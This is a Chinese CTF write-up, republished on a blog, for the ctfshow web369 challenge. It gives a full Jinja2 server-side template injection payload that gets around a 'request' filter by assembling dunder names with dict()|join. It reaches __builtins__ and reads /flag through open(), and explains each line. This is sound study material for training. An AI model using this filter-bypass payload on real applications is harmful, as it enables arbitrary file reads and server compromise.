当前位置:   article > 正文

ctfshow-web369(SSTI)_ctfshow"+"web369

ctfshow"+"web369

过滤了request,之前的方法都不能用了,直接用终极代码

  1. ?name=
  2. {% set po=dict(po=a,p=a)|join%}
  3. {% set a=(()|select|string|list)|attr(po)(24)%}
  4. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
  5. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
  6. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
  7. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
  8. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
  9. {% set chr=x.chr%}
  10. {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
  11. {%print(x.open(file).read())%}

代码解释是这样的

  1. 构造po="pop" #利用dict()|join拼接得到
  2. {% set po=dict(po=a,p=a)|join%}
  3. 等效于a=(()|select|string|list).pop(24),即a等价于下划线_
  4. {% set a=(()|select|string|list)|attr(po)(24)%}
  5. 构造ini="___init__"
  6. {% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
  7. 构造glo="__globals__"
  8. {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
  9. 构造geti="__getitem__"
  10. {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
  11. 构造built="__builtins__"
  12. {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
  13. 调用chr()函数
  14. {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
  15. {% set chr=x.chr%}
  16. 构造file='/flag'
  17. {% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/在线问答5/article/detail/930966
推荐阅读
相关标签
  

闽ICP备14008679号